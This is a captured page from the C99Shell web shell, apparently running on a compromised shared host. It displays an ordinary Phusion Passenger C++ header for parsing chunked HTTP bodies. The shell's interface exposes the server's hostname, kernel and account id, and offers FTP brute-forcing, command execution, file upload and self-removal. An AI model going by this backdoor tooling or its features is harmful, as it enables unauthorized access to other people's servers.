!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/passenger-5.3.7-4.el6.cloudlinux/src/cxx_supportlib/ServerKit/   drwxr-xr-x
Free 234.18 GB of 981.82 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HttpChunkedBodyParser.h (8.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 *  Phusion Passenger - https://www.phusionpassenger.com/
 *  Copyright (c) 2012-2017 Phusion Holding B.V.
 *
 *  "Passenger", "Phusion Passenger" and "Union Station" are registered
 *  trademarks of Phusion Holding B.V.
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 */
#ifndef _PASSENGER_SERVER_KIT_CHUNKED_BODY_PARSER_H_
#define _PASSENGER_SERVER_KIT_CHUNKED_BODY_PARSER_H_

#include <algorithm>
#include <cstdio>
#include <cstddef>
#include <cstring>

#include <ServerKit/Errors.h>
#include <ServerKit/HttpChunkedBodyParserState.h>

namespace Passenger {
namespace ServerKit {

using namespace std;


#define CBP_DEBUG(expr) \
    do { \
        if (OXT_UNLIKELY(Passenger::LoggingKit::getLevel() >= Passenger::LoggingKit::DEBUG3)) { \
            char _buf[256]; \
            unsigned int size = loggingPrefixFormatter(_buf, sizeof(_buf), userData); \
            P_TRACE(3, StaticString(_buf, size) << expr); \
        } \
    } while (false)


struct HttpChunkedEvent {
    enum Type {
        NONE,
        DATA,
        END,
        ERROR
    };

    unsigned int consumed;
    int errcode;
    Type type;
    bool end;
    MemoryKit::mbuf data;

    HttpChunkedEvent() { }

    HttpChunkedEvent(Type _type, unsigned int _consumed, bool _end)
        : consumed(_consumed),
          errcode(0),
          type(_type),
          end(_end)
        { }

    HttpChunkedEvent(Type _type, const MemoryKit::mbuf &_data, unsigned int _consumed, bool _end)
        : consumed(_consumed),
          errcode(0),
          type(_type),
          end(_end),
          data(_data)
        { }

    HttpChunkedEvent(Type _type, int _errcode, unsigned int _consumed, bool _end)
        : consumed(_consumed),
          errcode(_errcode),
          type(_type),
          end(_end)
        { }
};

/**
 * Parses data in HTTP/1.1 chunked transfer encoding.
 *
 * This is a POD struct so that we can put it in a union.
 */
class HttpChunkedBodyParser {
public:
    typedef unsigned int (*LoggingPrefixFormatter)(char *buf, unsigned int bufsize, void *userData);

private:
    HttpChunkedBodyParserState *state;
    LoggingPrefixFormatter loggingPrefixFormatter;
    void *userData;

    static bool isHexDigit(char ch) {
        return (ch >= '0' && ch <= '9')
            || (ch >= 'a' && ch <= 'f')
            || (ch >= 'A' && ch <= 'F');
    }

    static int parseHexDigit(char ch) {
        if (ch >= 'A' && ch <= 'F') {
            return 10 + ch - 'A';
        } else if (ch >= 'a' && ch <= 'z') {
            return 10 + ch - 'a';
        } else {
            return ch - '0';
        }
    }

    void logChunkSize() {
        CBP_DEBUG("chunk size determined: " << state->remainingDataSize << " bytes");
    }

    HttpChunkedEvent setError(int errcode, const char *bufferStart, const char *current) {
        CBP_DEBUG("setting error: " << getErrorDesc(errcode));
        state->state = HttpChunkedBodyParserState::ERROR;
        return HttpChunkedEvent(HttpChunkedEvent::ERROR, errcode,
            current - bufferStart, true);
    }

public:
    HttpChunkedBodyParser(HttpChunkedBodyParserState *_state,
        LoggingPrefixFormatter formatter, void *_userData)
        : state(_state),
          loggingPrefixFormatter(formatter),
          userData(_userData)
        { }

    void initialize() {
        state->state = HttpChunkedBodyParserState::EXPECTING_SIZE_FIRST_DIGIT;
    }

    HttpChunkedEvent feed(const MemoryKit::mbuf &buffer, bool outputDataEvents = true) {
        // Calling feed() on channels could result in the request being
        // ended, which modifies the buffer. So we cache the original
        // buffer start address here.
        const char *current  = buffer.start;
        const char *end      = buffer.start + buffer.size();
        const char *needle;
        size_t dataSize;

        assert(!buffer.empty());

        while (current < end) {
            switch (state->state) {
            case HttpChunkedBodyParserState::EXPECTING_DATA:
                dataSize = std::min<size_t>(state->remainingDataSize, end - current);
                CBP_DEBUG("parsing " << dataSize << " of " << state->remainingDataSize <<
                    " bytes of remaining chunk data; " <<
                    (state->remainingDataSize - dataSize) << " now remaining");
                if (dataSize == 0) {
                    CBP_DEBUG("end chunk detected");
                    state->state = HttpChunkedBodyParserState::EXPECTING_FINAL_CR;
                    break;
                } else {
                    state->remainingDataSize -= (unsigned int) dataSize;
                    if (state->remainingDataSize == 0) {
                        state->state = HttpChunkedBodyParserState::EXPECTING_NON_FINAL_CR;
                    }
                    if (outputDataEvents) {
                        return HttpChunkedEvent(HttpChunkedEvent::DATA,
                            MemoryKit::mbuf(buffer, current - buffer.start, dataSize),
                            current + dataSize - buffer.start, false);
                    } else {
                        current += dataSize;
                        break;
                    }
                }

            case HttpChunkedBodyParserState::EXPECTING_SIZE_FIRST_DIGIT:
                CBP_DEBUG("parsing new chunk");
                if (isHexDigit(*current)) {
                    state->remainingDataSize = parseHexDigit(*current);
                    state->state = HttpChunkedBodyParserState::EXPECTING_SIZE;
                    current++;
                    break;
                } else {
                    return setError(CHUNK_SIZE_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::EXPECTING_SIZE:
                if (isHexDigit(*current)) {
                    if (state->remainingDataSize >= HttpChunkedBodyParserState::MAX_CHUNK_SIZE) {
                        return setError(CHUNK_SIZE_TOO_LARGE, buffer.start, current);
                    } else {
                        state->remainingDataSize = 16 * state->remainingDataSize +
                            parseHexDigit(*current);
                        current++;
                    }
                } else if (*current == HttpChunkedBodyParserState::CR) {
                    logChunkSize();
                    state->state = HttpChunkedBodyParserState::EXPECTING_HEADER_LF;
                    current++;
                } else if (*current == ';') {
                    logChunkSize();
                    CBP_DEBUG("parsing chunk extension");
                    state->state = HttpChunkedBodyParserState::EXPECTING_CHUNK_EXTENSION;
                    current++;
                } else {
                    return setError(CHUNK_SIZE_PARSE_ERROR, buffer.start, current);
                }
                break;

            case HttpChunkedBodyParserState::EXPECTING_CHUNK_EXTENSION:
                needle = (const char *) memchr(current, HttpChunkedBodyParserState::CR,
                    end - current);
                if (needle == NULL) {
                    return HttpChunkedEvent(HttpChunkedEvent::NONE, buffer.size(), false);
                } else {
                    CBP_DEBUG("done parsing chunk extension");
                    state->state = HttpChunkedBodyParserState::EXPECTING_HEADER_LF;
                    current = needle + 1;
                    break;
                }

            case HttpChunkedBodyParserState::EXPECTING_HEADER_LF:
                if (*current == HttpChunkedBodyParserState::LF) {
                    state->state = HttpChunkedBodyParserState::EXPECTING_DATA;
                    current++;
                    break;
                } else {
                    return setError(CHUNK_SIZE_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::EXPECTING_NON_FINAL_CR:
                if (*current == HttpChunkedBodyParserState::CR) {
                    state->state = HttpChunkedBodyParserState::EXPECTING_NON_FINAL_LF;
                    current++;
                    break;
                } else {
                    return setError(CHUNK_FOOTER_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::EXPECTING_NON_FINAL_LF:
                if (*current == HttpChunkedBodyParserState::LF) {
                    CBP_DEBUG("done parsing a chunk");
                    state->state = HttpChunkedBodyParserState::EXPECTING_SIZE_FIRST_DIGIT;
                    current++;
                    break;
                } else {
                    return setError(CHUNK_FOOTER_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::EXPECTING_FINAL_CR:
                if (*current == HttpChunkedBodyParserState::CR) {
                    state->state = HttpChunkedBodyParserState::EXPECTING_FINAL_LF;
                    current++;
                    break;
                } else {
                    return setError(CHUNK_FINALIZER_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::EXPECTING_FINAL_LF:
                if (*current == HttpChunkedBodyParserState::LF) {
                    CBP_DEBUG("end chunk reached");
                    state->state = HttpChunkedBodyParserState::DONE;
                    return HttpChunkedEvent(HttpChunkedEvent::END,
                        current + 1 - buffer.start, true);
                } else {
                    return setError(CHUNK_FINALIZER_PARSE_ERROR, buffer.start, current);
                }

            case HttpChunkedBodyParserState::DONE:
            case HttpChunkedBodyParserState::ERROR:
                P_BUG("Should never be reached");
                return HttpChunkedEvent(HttpChunkedEvent::ERROR, 0, 0, true);
            }
        }

        return HttpChunkedEvent(HttpChunkedEvent::NONE, current - buffer.start, false);
    }
};


} // namespace ServerKit
} // namespace Passenger

#endif /* _PASSENGER_SERVER_KIT_CHUNKED_BODY_PARSER_H_ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1092 ]--